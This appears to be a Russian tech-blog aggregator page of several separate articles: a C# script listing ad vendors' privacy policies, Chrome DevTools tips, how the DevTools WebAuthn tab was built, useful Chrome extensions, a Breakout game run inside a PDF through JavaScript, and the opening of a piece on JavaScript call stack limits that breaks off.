Это не одна и та же ссылка, а разные! Каждая из них ведёт на уникальную политику конфиденциальности каждого партнёра. Сколько человек на самом деле пойдёт по этим ссылкам вручную, чтобы прочитать условия? Это просто нереально.

Конрад Акунга воспользовался инструментами разработчика Chrome, чтобы извлечь реальный список партнёров со ссылками на условия конфиденциальности каждого из них.



Скопированный список он вставил в VSCode и получил огромный файл на 3835 строк, который после форматирования (Alt + Shift + F) разбился в чудовище на 54 399 строк.



Конрад написал программку, которая с помощью регулярных выражений извлекает нужные фрагменты данных названия компаний с URL и генерирует результат в формате Markdown по шаблону.

Log.Logger = new LoggerConfiguration().WriteTo.Console().CreateLogger();// Define the regex to extact vendor and urlvar reg = new Regex("\"vendor-title\">(?<company>.*?)<.*?vendor-privacy-notice\".*?href=\"(?<url>.*?)\"",RegexOptions.Compiled);// Load the vendors into a string, and replace all newlines with spaces to mitigate// formatting issues from irregular use of the newlinevar vendors = File.ReadAllText("vendors.html").Replace(Environment.NewLine, " ");// Match against the vendors html filevar matches = reg.Matches(vendors);Log.Information("There were {num} matches", matches.Count);// extract the vendor number, name and their url, ordering by the name first.var vendorInfo = matches.OrderBy(match => match.Groups["company"].Value).Select((match, index) =>new{Index = index + 1,Name = match.Groups["company"].Value,URL = match.Groups["url"].Value});// Create a string builder to progressively build the markdownvar sb = new StringBuilder();// Append headerssb.AppendLine($"Listing As At 30 December 2020 08:10 GMT");sb.AppendLine();sb.AppendLine("|-|Vendor| URL |");sb.AppendLine("|---|---|---|");// Append the vendor detailsforeach (var vendor in vendorInfo)sb.AppendLine($"|{vendor.Index}|{vendor.Name}|[{vendor.URL}]({vendor.URL})|");// Delete existing markdown file, if presentif (File.Exists("vendors.md"))File.Delete("vendors.md");//Write markdown to fileFile.WriteAllText("vendors.md", sb.ToString());

В результате получился список всех партнёров, и у каждой свой уникальный документ c условиями конфиденциальности. Вот этот список: vendors.md.

В нём 647 компаний.

Очевидно, что никто не сможет ознакомиться со всеми этими условиями прежде, чем нажать кнопку Согласиться, делает вывод автор.

Помните, что эти рекламные провайдеры предоставляют одни и те же услуги разным сайтам. Они однозначно идентифицируют браузер и устройство, поэтому могут анализировать и отслеживать ваши действия на разных сайтах для создания максимально точного профиля. На каждого якобы анонимного пользователя собираются большие объёмы данных.

Код для парсинга из этой статьи опубликован на Github.
Подробнее..

Перевод Используем Chrome DevTools профессионально

25.09.2020 20:20:19 | Автор: admin
И снова здравствуйте. В преддверии старта курса JavaScript Developer. Professional перевели

11 советов для тех, кто использует Chrome в качестве среды разработки.





Итак, по тем или иным причинам вы решили при разработке ориентироваться на Chrome. Вы открываете инструменты разработчика и приступаете к отладке кода.



Иногда вы открываете консоль, чтобы посмотреть вывод своей программы, или вкладку Elements, чтобы проверить CSS-стили элементов DOM.



А действительно ли вы разбираетесь в Chrome DevTools? На самом деле у инструментов разработчика множество мощных функций, которые облегчают жизнь, но о них мало кто знает.
Я расскажу о самых полезных из них.

Для начала рассмотрим командное меню. Командное меню в Chrome это как командная оболочка в Linux. В нем вы можете писать команды для управления Chrome.

Открываем Chrome Developer Tools. Для доступа к командному меню используем горячие клавиши:

  • WindowsCtrl + Shift + P
  • macOSCmd + Shift + P


Открыть его можно и через графический интерфейс, вот так:



В этой области можно увидеть длинный список команд, которые дают доступ ко множеству полезных функций.



Расширенные функции скриншотов


Снимки части экрана приходится делать довольно часто, и я не сомневаюсь, что для этого на вашем компьютере установлены удобные программы. А могут ли они:

  • сделать скриншот всей страницы целиком, в том числе контента, который находится за пределами области просмотра?
  • захватить содержимое отдельного элемента DOM?


Такая необходимость возникает нередко, но большинство системных инструментов для создания снимков экрана не справляются с этими задачами. К счастью, для создания таких скриншотов у нас есть специальные команды Chrome.

Вот они:

  • Screenshot Capture full size screenshot (сделать снимок страницы целиком)
  • Screenshot Capture node screenshot (сделать снимок отдельного узла)


Пример


Откройте любую веб-страницу, например самые популярные статьи о JavaScript на Medium: medium.com/tag/javascript.

Откройте командное меню и выполните команду Screenshot Capture full size screenshot.



Мы сделали снимок всей текущей страницы целиком.


У оригинального скриншота качество хорошее, а сюда я загрузил сжатое изображение, чтобы сэкономить ваш трафик.

Если вы хотите сделать скриншот элемента DOM, можно использовать системные инструменты, но они не смогут идеально точно захватить элемент. В Chrome для этого есть специальная команда Capture node screenshot.

Сначала откройте вкладку Elements и выберите нужный элемент. Затем выполните команду.



Вот результат:



Использование результата последней операции в консоли


Мы часто отлаживаем код в консоли. Допустим, вы хотите узнать, как перевернуть строку в JavaScript. Вы ищете нужную информацию в Интернете, и вам попадается вот такой фрагмент кода.

'abcde'.split('').reverse().join('')




Да, этот код переворачивает строку. Но вам пока непонятно, как работают методы split(), reverse(), join() и какой результат выдает каждый из них. Вы можете выполнить этот код пошагово, записав его как-то так:



Теперь мы знаем, какое значение возвращает каждый метод.
Но зачем так много писать? В такой длинной записи легко допустить ошибку, и ее сложно понять. Открою секрет: в консоли есть волшебная переменная $_, которая хранит результат последней операции.



$_ это специальная переменная, значение которой всегда равно результату последней выполненной в консоли операции. Этот прием сильно облегчает процесс отладки.



Повторная отправка запроса XHR


Во фронтенд-проектах часто приходится использовать XHR для отправки запросов на получение данных с сервера. Что делать, если нужно отправить запрос повторно?

Неопытные разработчики обновляют страницу, но это очень неудобно. В Chrome мы можем отладить код прямо на вкладке Network.



  • Откройте вкладку Network.
  • Нажмите кнопку XHR.
  • Выберите запрос XHR, отправку которого вы хотите повторить.
  • Выберите Replay XHR в контекстном меню, чтобы повторить запрос.


Вот анимированный пример:



Отслеживание статуса загрузки страницы


На полную загрузку страницы может уйти более десяти секунд. В таких случаях нужно контролировать процесс загрузки страницы в каждый отдельный момент времени.

В Chrome DevTools можно делать скриншоты страницы в ходе ее загрузки, поставив галочку напротив Capture Screenshots на вкладке Network.



Выберите скриншот, чтобы посмотреть информацию о соответствующих сетевых запросах. Такая визуализация даст вам лучшее представление о сетевых запросах, которые отправляются на сервер в отдельные моменты времени.



Копирование переменных


Вы знаете, как скопировать значение переменной JavaScript в буфер обмена?
Это кажется невыполнимой задачей, но в Chrome для ее решения предусмотрена специальная функция copy.



ECMAScript не содержит определения функции copy, это функция Chrome. С ее помощью можно скопировать значение переменной JavaScript в буфер обмена.

Копирование изображения как URI с приставкой data:


Есть два способа вставить изображение на страницу: можно дать ссылку на внешний файл или внедрить изображение при помощи data: URL.

Data: URL (URL с приставкой data:) это схема, позволяющая встраивать небольшие файлы в документ в качестве строковых элементов.Раньше она называлась data: URI, но WHATWG отказалась от этого названия.

Встраивание маленьких изображений непосредственно в код по схеме data: URL сокращает количество HTTP-запросов к серверу, благодаря чему страница загружается быстрее.
Как это сделать в Chrome?

Посмотрите анимацию:



Вывод массива объектов в таблицу


Допустим, у нас есть массив объектов:

let users = [{name: 'Jon', age: 22},  {name: 'bitfish', age: 30},  {name: 'Alice', age: 33}]




Воспринимать такую информацию в консоли тяжело. А если массив длиннее и содержит более сложные элементы, то потеряться в нем еще проще.
К счастью, в Chrome есть функция, которая выводит массив объектов в таблицу.



Она вам пригодится, и не раз.

Перетаскивание на вкладке Elements


Иногда нужно переместить некоторые элементы DOM на странице, чтобы протестировать пользовательский интерфейс. На вкладке Elements можно перетащить любой HTML-элемент в любое место в коде:



В этом примере я перетащил элемент на вкладке Elements, и его расположение на веб-странице тоже моментально изменилось.

Обращение к текущему выделенному элементу в консоли


$0 это еще одна волшебная переменная, которая содержит элемент, выделенный на вкладке Elements.



Активация псевдоклассов CSS


Псевдоклассы позволяют задать стиль для элемента не только в зависимости от его расположения в дереве документа, но и в зависимости от внешних факторов, таких как история просмотра (например, :visited), состояние контента (например, :checked в некоторых формах), положение указателя мыши (например, псевдокласс :hover изменяет стиль элемента при наведении на него указателя мыши).

Для одного элемента можно написать несколько псевдоклассов. Чтобы было проще тестировать стили, псевдоклассы можно активировать прямо на вкладке Elements.



Пример


Посмотрите на код страницы:

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title><style>body{font-size: 150px;}div:hover{color: red;}div:active{color: blue;}div:focus{color: brown;}</style></head><body><div>hello world</div></body></html>


Открываем страницу в браузере, на вкладке Elements проверяем, как работают псевдоклассы, и при необходимости вносим изменения.



Горячая клавиша для скрытия элементов


Во время отладки CSS-стилей часто возникает необходимость скрыть элемент. В Chrome это делается быстро: достаточно лишь выделить элемент и нажать клавишу H.


Нажмите H на клавиатуре

Эта операция применяет к элементу стиль visibility: hidden !important;.

Сохранение элемента DOM в качестве глобальной временной переменной


Если мы хотим быстро сослаться на элемент DOM в консоли, можно сделать это так:

  • Выбрать элемент.
  • Открыть контекстное меню правой кнопкой мыши.
  • Выбрать Store as a global variable (Сохранить как глобальную переменную).


Подробнее..

Перевод Как мы создали вкладку WebAuthn в Chrome DevTools

03.11.2020 18:06:31 | Автор: admin
Сегодня, в преддверии старта нового потока курса по JavaScript, делимся с вами полезным переводом статьи о том, как разрабатывалась вкладка WebAuthn в Chrome DevTools, какие решения принимались и почему, с какой проблемой столкнулись разработчики.

image




Web Authentication API, также известный как WebAuthn, позволяет серверам использовать криптографию с открытым ключом (а не пароли) для регистрации и аутентификации пользователей. Этот API включает интеграцию между серверами и сильными аутентификаторами. Эти аутентификаторы могут быть специализированными физическими устройствами (например, ключами безопасности) или они могут иметь интеграцию с платформами (например, считывателями отпечатков пальцев). Прочитать больше о WebAuthn по адресу webauthn.guide.

Проблемы разработчика


До этого проекта в WebAuthn не было встроенной поддержки отладки в Chrome. Разработчику создающему приложение, которое использует WebAuth, требовался физический доступ к реально существующим аутентификаторам. Это было особенно сложно по двум причинам:

  1. Существует множество различных типов аутентификаторов. Для отладки широкого спектра конфигураций и возможностей разработчик должен иметь доступ ко многим, иногда дорогостоящим аутентификаторам.
  2. Физические аутентификаторы защищены по своей природе, поэтому пристально изучить их состояние обычно невозможно.

Нам хотелось упростить задачу, добавив поддержку отладки прямо в Chrome DevTools.

Решение: новая вкладка WebAuthn


Вкладка WebAuthn DevTools значительно упрощает отладку WebAuthn, позволяя разработчикам эмулировать аутентификаторы, настраивать их возможности и проверять их состояния.



Реализация


Добавление поддержки отладки в WebAuthn состояло из двух частей.



Часть 1. Добавление домена WebAuthn в протокол Chrome DevTools


Во-первых, мы реализовали новый домен в Chrome DevTools Protocol (CDP), который подключается к обработчику, взаимодействующему с бекендом WebAuthn.

CDP объединяет интерфейс DevTools с Chromium. В нашем случае действия домена WebAuthn используются для соединения вкладки WebAuthn DevTools и реализации WebAuthn в Chromium.

Домен WebAuthn позволяет включать и отключать виртуальную среду аутентификатора, которая отключает браузер от реального обнаружения аутентификатора, подключая виртуальное обнаружение.

Мы также предоставляем методы в домене, действующие как тонкий слой к существующим интерфейсам виртуального обнаружения и виртуального аутентификатора, которые являются частью реализации Chromium WebAuthn. Эти методы включают добавление и удаление аутентификаторов, а также создание, получение и удаление их зарегистрированных учетных данных. Посмотрите код.

Хотя домен WebAuthn сделал возможным существование вкладки WebAuthn, это еще не все. Этот домен изначально был большей частью API тестирования WebAuthn и используется ChromeDriver для включения тестов веб-платформы. Узнайте больше о WebAuthn API для тестирования.

Часть 2. Создание ориентированной на пользователя вкладки


Во-вторых, мы создали вкладку, ориентированную на пользователя, в в интерфейсе DevTools. Вкладка состоит из представления и модели. Домен и вкладку соединяет автоматически сгенерированный агент. Хотя неизбежно необходимы три компонента, нужно было уделить внимание только двум из них: модели и представлении. Третий компонент агент, создается автоматически после добавления домена. Вкратце, агент это слой, передающий вызовы между фронтендом и CDP.

Модель


Модель это связывающий агента и представление слой на JavaScript. В нашем случае модель довольно простая. Она принимает команды из представления, формирует запросы так, чтобы они могли использоваться CDP, а затем отправляет их через агента. Эти запросы обычно однонаправленные, при этом никакая информация не отправляется обратно в представление. Однако иногда мы возвращаем ответ от модели либо для предоставления идентификатора вновь созданного аутентификатора, либо для возврата хранящихся в существующем аутентификаторе учетных данных. Посмотрите код.

Представление




Представление используется, чтобы предоставить пользовательский интерфейс, который увидит разработчик, когда откроет DevTools. Этот интерфейс содержит:

  1. Панель инструментов для включения виртуального аутентификатора.
  2. Раздел добавления аутентификаторов.
  3. Раздел для созданных аутентификаторов.

Посмотрите на код.

Панель инструментов для включения среды виртуального аутентификатора



Большинство пользовательских взаимодействий происходит с одним аутентификатором за один раз, а не со всей вкладкой, поэтому единственная функция, которую мы предоставляем на панели инструментов включение и выключение виртуальной среды.

Зачем это нужно? Это нужно потому, что важно, чтобы пользователь явно переключал среду, потому что переключение отключает браузер от реального обнаружения аутентификаторов. Поэтому, пока браузер включен, подключенные физические аутентификаторы, (например, считыватель отпечатков пальцев), не распознаются.

Мы решили, что явное переключение дает пользователю лучшие впечатления, особенно это верно для тех, кто заходит на вкладку WebAuthn, не ожидая отключения обнаружения реальных устройств.

Добавление раздела аутентификаторов




После включения среды виртуального аутентификатора мы представляем разработчику встроенную форму, позволяющую добавить виртуальный аутентификатор. В этой форме предоставлены параметры настройки, позволяющие пользователю выбирать протокол аутентификатора и методы транспорта, а также то, поддерживает ли аутентификатор резидентные ключи и верификацию пользователя. После нажатия кнопки Add эти параметры объединяются и отправляются модели, которая делает вызов, чтобы создать аутентификатор. Как только вызов завершиться, фронтенд получит ответ, а затем изменит пользовательский интерфейс появится вновь созданный аутентификатор.

Представление аутентификатора




Каждый раз при эмуляции аутентификатора, в его представление добавляется раздел этого аутентификатора. Каждый такой раздел содержит имя, идентификатор, параметры конфигурации, кнопки для удаления аутентификатора или его активации, а также таблицу учетных данных.

Имя аутентификатора


Имя аутентификатора изменяемо и по умолчанию имеет значение Authenticator, объединенное с последними 5 символами его ID. Первоначально имя аутентификатора было его полным идентификатором и не могло изменяться. Мы реализовали настраиваемые имена, чтобы пользователь мог маркировать аутентификатор в зависимости от его возможностей, эмулируемого физического аутентификатора, или любого псевдонима, который понять легче, чем идентификатор из 36 символов.

Таблица учетных данных


Мы добавили таблицу в каждый раздел аутентификатора, в которой показаны все зарегистрированные аутентификатором учетные данные. В каждой строке представлена информацию об учетных данных, а также кнопки для их удаления или экспорта. В настоящее время мы собираем информацию для заполнения этих таблиц, опрашивая CDP, чтобы получить зарегистрированные учетные данные для каждого аутентификатора. В будущем планируется добавить событие создания учетных данных.

Кнопка Active

Мы также добавили переключатель Active в каждый раздел аутентификатора. Установленный активным аутентификатор будет единственным прослушивающим и регистрирующим учетные данные. Без этого регистрация учетных данных для нескольких аутентификаторов будет недетерминированной, что при попытке протестировать WebAuthn с их помощью было бы фатальной ошибкой.

Статус Active реализован с помощью метода SetUserPresence на виртуальных аутентификаторах. Метод SetUserPresence устанавливает, успешны ли тесты присутствия пользователя для данного аутентификатора. Если мы отключим его, аутентификатор не сможет прослушивать учетные данные. Следовательно, убедившись, что он включен не более чем для одного аутентификатора (установленного активным), и отключив присутствие пользователя для всех остальных, возможно добиться полной определенности поведения. Интересная проблема, с которой мы столкнулись при добавлении кнопки Active как избежать состояния гонки. Рассмотрим такую ситуацию:

  1. Пользователь нажимает переключатель Active у аутентификатора X, отправляя запрос к CDP, чтобы установить X в активное состояние. Итак, для X выбран переключатель Active, а все остальные переключатели не выбраны.
  2. Сразу после этого пользователь нажимает переключатель Active аутентификатора Y, отправляя запрос в CDP, чтобы установить Y активным. Для Y установлен переключатель Active, а все остальные, в том числе для X, не выбраны.
  3. На бекенде вызов для установки Y как активного завершается и разрешается. Y теперь активен, а все остальные аутентификаторы нет.
  4. В серверной части вызов для установки X как активного завершен и разрешен. X теперь активен, а все остальные аутентификаторы, включая Y, нет.

В результате получается следующая ситуация: X активный аутентификатор. Однако переключатель Active для X не установлен. Y не активен. Но для Y выбран переключатель Active. Есть разногласия между внешним интерфейсом и фактическим статусом аутентификаторов. И это проблема.

Решением было установить псевдо-двустороннюю связь между переключателями и активным аутентификатором. Во-первых, мы поддерживаем переменную activeId в представлении, чтобы отслеживать идентификатор текущего активного аутентификатора. Затем ждем вызова для установки аутентификатора активным, чтобы вернуться и установить activeId в ID аутентификатора. Наконец, мы проходим по разделам аутентификатора. Если идентификатор раздела равен activeId, кнопка становится выбранной, иначе устанавливаем кнопку невыбранной. Вот так это выглядит:

 async _setActiveAuthenticator(authenticatorId) {   await this._clearActiveAuthenticator();   await this._model.setAutomaticPresenceSimulation(authenticatorId, true);   this._activeId = authenticatorId;   this._updateActiveButtons(); }_updateActiveButtons() {   const authenticators = this._authenticatorsView.getElementsByClassName('authenticator-section');   Array.from(authenticators).forEach(authenticator => {     authenticator.querySelector('input.dt-radio-button').checked =         authenticator.getAttribute('data-authenticator-id') === this._activeId;   }); }async _clearActiveAuthenticator() {   if (this._activeId) {     await this._model.setAutomaticPresenceSimulation(this._activeId, false);   }   this._activeId = null; }

Показатели использования


Мы хотели отслеживать использование этой функции. Изначально мы придумали два варианта.

  1. Подсчитывать каждое открытие вкладки WebAuthn в DevTools. Такой подход потенциально приводит к неправильному расчету: кто-то может открыть вкладку, но не работать с ней.
  2. Отслеживать, сколько раз устанавливался флажок Enable virtual authenticator environment на панели инструментов. У этого варианта также была потенциальная проблема с неверным расчетом: кто-то может включать и выключать среду несколько раз за один сеанс.

В конечном итоге мы решили внедрить последнее решение, но ограничили подсчет, проверяя, была ли среда включена в сеансе один раз. Таким образом счетчик увеличивается только на 1 независимо от того, сколько раз разработчик переключал среду. Это работает, потому что новый сеанс создается каждый раз при повторном открытии вкладки, тем самым сбрасывая проверку и позволяя снова увеличивать метрику.

Резюме


Спасибо, что прочитали! Если у вас есть предложения по улучшению вкладки WebAuthn, сообщите нам об этом, заполнив баг-репорт.

На тот случай если вы задумали сменить сферу или повысить свою квалификацию промокод HABR даст вам дополнительные 10% к скидке указанной на баннере.

image




Рекомендуемые статьи


Подробнее..

Расширения для Google Chrome, без которых вы уже не сможете представить свою работу

18.11.2020 12:16:11 | Автор: admin


Google Chrome имеет возможность создания и установки собственных расширений, многие из которых сильно расширяют его базовый функционал, упрощают работу с ним и делают его более удобным. Самые полезные и незаменимые расширения я собрал в данной статье и хотел бы поделиться ими с сообществом. Разумеется, данный список может быть не полон, однако это действительно незаменимые помошники, без которых лично я не представляю свою работу в интернете. Названия всех расширений кликабельны и ведут на соответствующую страницу в интернет-магазине Google Chrome. Погнали!

1. Recent Tabs with your browsing history

image

Расширение из разряда must have для тех, кто иногда по ошибке закрывает нужные вкладки. По клику выводит 15 последних открытых вкладок. Это как Ctrl-Shift-T, только выбрать можно любую закрытую ранее вкладку.

2. LongClick New Tab

image

Я частенько увлекаюсь серфингом по конкретным сайтам, и иногда хочется открыть их разные страницы в отдельных вкладках, чтобы прочитать их позднее. Особенно это удобно для интернет-магазинов, где можно открыть несколько разных товаров и переключаться между ними для сравнения, и т. д. К сожалению, многие сайты открывают новые страницы в том же окне, и поэтому уже забывается какие страницы хотелось посетить. Данное расширение открывает любую ссылку в новой вкладке, достаточно удерживать на ней мышку нажатой в течении пары секунд.

3. Better History

image

Замена стандартной истории браузера для более удобной работы с ней в виде (наконец-то) вкладок по часам и дням недели. Вызывается аналогично стандартной истории посещений из меню или по Ctrl + H

4. Группировка вкладок

image

Простое, но крайне удобное расширение для тех, у кого постоянно открыты десятки вкладок, особенно разных страниц одного сайта. Группирует все вкладки и создает страницу со всеми открытыми вкладками для каждого сайта.

5. Read This Later

image

По роду моей деятельности мне часто приходится открывать несколько вкладок одновременно для решения какой-либо задачи, причем иногда приходится откладывать эту задачу чтобы возвратиться к ней немного позднее, так как в приоритете возникла другая задача, либо вкладок открыто уже столько, что у них даже значков не видно. В этом случае на помощь приходит расширение Read This Later, которое позволяет сохранить нужные ссылки для того, чтобы прочитать их позднее. На любой странице кликаете правой кнопкой мыши и выбираете Read This Later. Страница появится в меню самого расширения, там же можно удалить ненужные одним кликом. Зачем оно нужно если есть закладки из коробки, причем с папками? Главная проблема вкладок как раз и кроется в этих самых папках, которые просто хоронят в себе все страницы. Лично у меня в них уже пара десятков папок по разным темам, во многих из них еще по нескольку папок, и так далее, и разумеется я свято верю в то, что рано или поздно я все это буду читать. Когда-нибудь. А тут все динамично: сохранил нужные, вернулся к ним позднее, удалил ненужные, снова добавил новые, и так далее. Сдается мне что по этой причине папки оно и не поддерживает, ибо иначе это был бы просто очередной аналог закладок.

6. Translator

image

Настоящий мастхэв для тех, кому требуется время от времени переводить слова на другой язык или обратно. Очень сильно выручает когда нужно задать вопрос на StackOverflow (например), однако не получается вспомнить как пишется какое-либо слово. Ранее мне приходилось постоянно открывать Google Translate как новую страницу, что изрядно напрягало. Поддерживает какое-то просто неадекватно большое количество сервисов для перевода, однако Google Translate, конечно же, имеется.

7. Конвертер валют PRO

image

Конвертерами валют с каждым днем становится пользоваться все страшнее и страшнее, однако виноваты в этом конечно же не они. Это расширение мне нравится тем, что оно позволяет конвертировать в нескольких валютах одновременно, и даже поддерживает крипту и драгоценные металлы (!), а так же возможность автоматического перерасчета курса валют на странице. Добавляете нужную валюту, вводите нужную сумму напротив валюты, из которой вы хотите перевести, и получаете курс данной валюты в других валютах.

8. Strong Password Generator

image

Удобный генератор паролей с гибкими настройками. Поддерживаются буквы разного регистра, цифры, символы и даже возможность добавления своих символов (!). Имеет и историю ранее сгенерированных паролей, которую, ко всему прочему, можно и отключить.

9. OnionLink .onion plugin



Свершилось! Расширение для просмотра .onion сайтов прямо в Chrome для тех, кому важна не столько безопасность, сколько просмотр их контента. Просто установите данное расширение и переходите по ссылкам на .onion сайты или вводите их как обычные сайты в строке адреса. Расширение работает, и со своими прямыми обязанностями справляется, правда платное, хоть 64 рубля это и небольшая сумма.

10. Chrome extension source viewer

image

Расширение больше подойдет разработчикам, однако я просто не мог не добавить его в эту подборку, так как оно будет полезно и тем, кто предпочитает хранить файлы расширений локально (что довольно актуально, ибо на момент написания данной статьи некоторые расширения оказались удалены из магазина Chrome, поэтому пришлось искать их аналоги, причем в большинстве случаев это оказывались форки этих удаленных расширений. В самом Chrome удаленные расширения при этом работали и работают до сих пор. Поэтому позаботьтесь о резервных копиях заранее если не хотите остаться без любимых расширений на новом компьютере). Позволяет скачивать нужные расширения и/или просматривать их исходный код. Такие расширения можно устанавливать в дальнейшем в разделе Загрузить распакованное расширение в разделе Расширения в настройках Chrome. Работает на странице конкретного расширения в магазине расширений в Google Chrome (Настройки > Расширения > Подробнее > Перейти в Интернет-магазин Chrome).

11. SimpleExtManager

image

И на десерт настоящая бомба! Расширение для работы с расширениями и темами! Позволяет получить список установленных расширений и тем и отключать ненужные просто снимая соответствующие галочки без перехода в настройки браузера. Очень выручает когда некоторые расширения начинают чудить на некоторых сайтах, либо просто занимать место, особенно если расширений довольно много, не все они нужны часто, но удалять их при этом незачем, либо какое-то расширение просто упало (да, бывает и такое). Их можно просто отключить, а потом снова включить буквально парой кликов, и самое главное здесь то, что они остаются в самом расширении даже когда отключены, поэтому для их последующего включения не нужно проходить целый квест.

Я рассмотрел самые необходимые и удобные для работы расширения. Делитесь в комментариях расширениями, которыми пользуетесь вы, и которые удобны лично для вас, они так же могут быть полезны другим. Самые интересные и полезные я бы тоже хотел добавить в эту подборку чтобы не потерять их, и чтобы о них узнали и другие пользователи.

Благодарю за внимание!
Подробнее..

Перевод Пугающие эксперименты с PDF запускаем Арканоид в документе

06.01.2021 12:20:45 | Автор: admin

Подробнее об этом хаке и особенностях его работы можно узнать из доклада на !!con 2020 Playing Breakout inside a PDF!!

Если вы его не смотрели, то попробуйте открыть файл breakout.pdf в Chrome.

Как и многие из вас, я всегда считал PDF довольно безопасным форматом: автор создаёт текст и графику, после чего он открывается в программе просмотра PDF, больше ничего не делая. Несколько лет назад я мимоходом слышал об уязвимостях Adobe Reader, но особо не задумывался о том, как они могут возникать.

Изначально Adobe сделала PDF именно для этого, но мы уже выяснили, что сегодня это совсем не так. В 1310-страничной спецификации PDF (на самом деле довольно понятном и интересном чтиве) описывается безумное количество возможностей, в том числе:


но самое интересное для нас


Разумеется, большинство программ для чтения PDF (кроме Adobe Reader) не реализует основную часть этих возможностей. Однако Chrome реализует JavaScript! Если вы откроете подобный файл PDF в Chrome, то он запустит скрипт. Я выяснил, повторив действия из этого поста о создании PDF с JS.

Однако здесь есть хитрость. Chrome реализует только крошечное подмножество огромной поверхности Acrobat JavaScript API. Реализация API в PDFium браузера Chrome в основном состоит из подобных заглушек:

FX_BOOL Document::addAnnot(IJS_Context* cc,                           const CJS_Parameters& params,                           CJS_Value& vRet,                           CFX_WideString& sError) {  // Not supported.  return TRUE;}FX_BOOL Document::addField(IJS_Context* cc,                           const CJS_Parameters& params,                           CJS_Value& vRet,                           CFX_WideString& sError) {  // Not supported.  return TRUE;}FX_BOOL Document::exportAsText(IJS_Context* cc,                               const CJS_Parameters& params,                               CJS_Value& vRet,                               CFX_WideString& sError) {  // Unsafe, not supported.  return TRUE;}

И я понимаю опасения разработчиков этот Adobe JavaScript API имеет совершенно огромную площадь поверхности. Предположительно, скрипты могут выполнять такие действия, как соединение с произвольными базами данных, распознавание подключенных мониторов, импорт внешних ресурсов и манипулирование 3D-объектами.

Поэтому в Chrome получилась такая странная ситуация: мы можем выполнять произвольные вычисления, однако имеем эту странную, ограниченную поверхность API, при которой ввод-вывод и передачу данных между программой и пользователем реализовывать очень неудобно.

Вероятно, можно встроить в PDF компилятор C, скомпилировав его в JS, например, с помощью Emscripten, но тогда компилятор C должен будет получать ввод из формы простого текста (plain text), а вывод выполнять снова в поле формы.

На самом деле, я заинтересовался PDF пару недель назад из-за PostScript; я читал посты Дона Хопкинса о NeWS напоминающей AJAX системе, но реализованной в 80-х на PostScript.

Забавно, что PDF стал реакцией на PostScript, который был слишком выразительным (являясь полнофункциональным языком программирования), слишком сложным в анализе и восприятии. Наверно, PDF по-прежнему остаётся в этом плане шагом вперёд, но всё равно смешно, что он разросся всеми этими возможностями.

Ещё один любопытный момент: как любой долгоживущий цифровой формат (лично я испытываю нежные чувства к файловой системе FAT), PDF сам по себе является своего рода историческим документом. Мы можем отследить, как поколения инженеров добавляли нужные им в своё время функции, пытаясь при этом не поломать уже существующие.

Я не совсем понимаю, зачем разработчики Chrome вообще заморачивались поддержкой JS. Они взяли код программы чтения PDF из Foxit; возможно, у Foxit был какой-то клиент, использовавший валидацию форм через JavaScript?

Кроме того, Chrome использует тот же рантайм, что и в браузере, хоть и не раскрывает браузерных API. Насколько я понимаю, это значит, что можно использовать такие возможности ES6, как стрелочные функции и прокси.

Breakout


Так что же мы можем сделать с предоставляемой нам Chrome поверхностью API?

Кстати, должен извиниться за неидеальное распознавание коллизий и непостоянную скорость игры. БОльшую часть игры я содрал с туториала.

Первые доступные пользователю точки ввода-вывода, которые я смог найти в реализации PDF API браузера Chrome, находились в Field.cpp.

Мы не можем менять цвет заливки текстового поля во время выполнения, зато можем менять прямоугольник его границ и задавать стиль границ. Мы не можем считывать точное положение мыши, однако можем при создании PDF привязать к полям скрипты mouse-enter и mouse-leave. Также во время выполнения нельзя добавлять поля: придётся ограничиться тем, что мы поместили в PDF в момент создания. Любопытно, почему разработчики выбрали именно эти методы? Это похоже на какой-то стереотип о программировании на олдскульном FORTRAN: необходимо объявлять все переменные заранее, чтобы компилятор мог статически выделить под них память.

Итак, файл PDF генерируется скриптом, заранее создающим набор текстовых полей, в том числе и игровых элементов:

  • Ракетку
  • Кирпичи
  • Мяч
  • Очки
  • Жизни

Но для правильной работы игры мы также внесём некоторые хаки.

Во-первых, мы создаём тонкую длинную полосу текстового поля для каждого столбца нижней половины экрана. Полосы получают событие mouse-enter, когда игрок перемещает мышь по оси X, поэтому ракетка может перемещаться при движении мыши.

Во-вторых, мы создаём поле под названием whole, закрывающее всю верхнюю половину экрана. Chrome не ожидает, что отображение PDF будет меняться, поэтому если перемещать поля в JS, то получатся довольно сильные артефакты. Это поле whole решает данную проблему мы включаем/отключаем его во время рендеринга кадра. Этот трюк заставляет Chrome подчищать артефакты.

Кроме того, при перемещении поля, похоже, сбрасывается его поток внешнего отображения. Выбранный вами красивый внешний вид из произвольной PDF-графики слетает и заменяется простым залитым прямоугольником с границей. Поэтому в моей игре используется упрощённый словарь характеристик внешнего вида. В самом крайнем случае указанный там цвет заливки при перемещении виджета остаётся неизменным.

Полезные ресурсы






На правах рекламы


Закажите сервер и сразу начинайте работать! Создание VDS любой конфигурации в течение минуты, в том числе серверов для хранения большого объёма данных до 4000 ГБ. Эпичненько :)

Подробнее..

JavaScript Стек вызовов и магия его размера

03.04.2021 18:14:06 | Автор: admin

Привет, Хабровчане!

Большинство разработчиков, которые использовали рекурсию для решения своих задач, видели такую ошибку:

 RangeError: Maximum call stack size exceeded. 

Но не каждый разработчик задумывался о том, а что означает "размер стэка вызовов" и каков же этот размер? А в чем его измерять?

Думаю, те, кто работают с языками, напрямую работающими с памятью, смогут легко ответить на этот вопрос, а вот типичный фронтэнд разработчик скорее всего задает себе подобные вопросы впервые. Что-ж, попробуем разобраться!

Многие полагают, что браузер ограничивает нас именно в количестве вызовов, но это не так. В данной статье я покажу на простых примерах, как это работает на самом деле.

О чем ты вообще, автор?

Для статьи важно понимание таких понятий как Execution Stack, Execution Context. Если вы не знаете, что это такое, то советую об этом почитать. На данном ресурсе уже было достаточно хороших статей на эту тему. Пример -http://personeltest.ru/aways/habr.com/ru/company/ruvds/blog/422089/

Когда возникает эта ошибка?

Разберем на простом примере - функция, которая рекурсивно вызывает сама себя.

const func = () => {    func();}

Если попытаться вызвать такую функцию, то мы увидим в консоли/терминале ошибку, о которой я упомянул выше.

А что если подглядеть, сколько же раз выполнилась функция перед тем, как возникла ошибка?

На данном этапе код запускается в Chrome DevTools последней версии на март 2021. Результат будет различаться в разных браузерах. В дальнейшем в статье я упомяну об этом.

Для эксперимента будем использовать вот такой код:

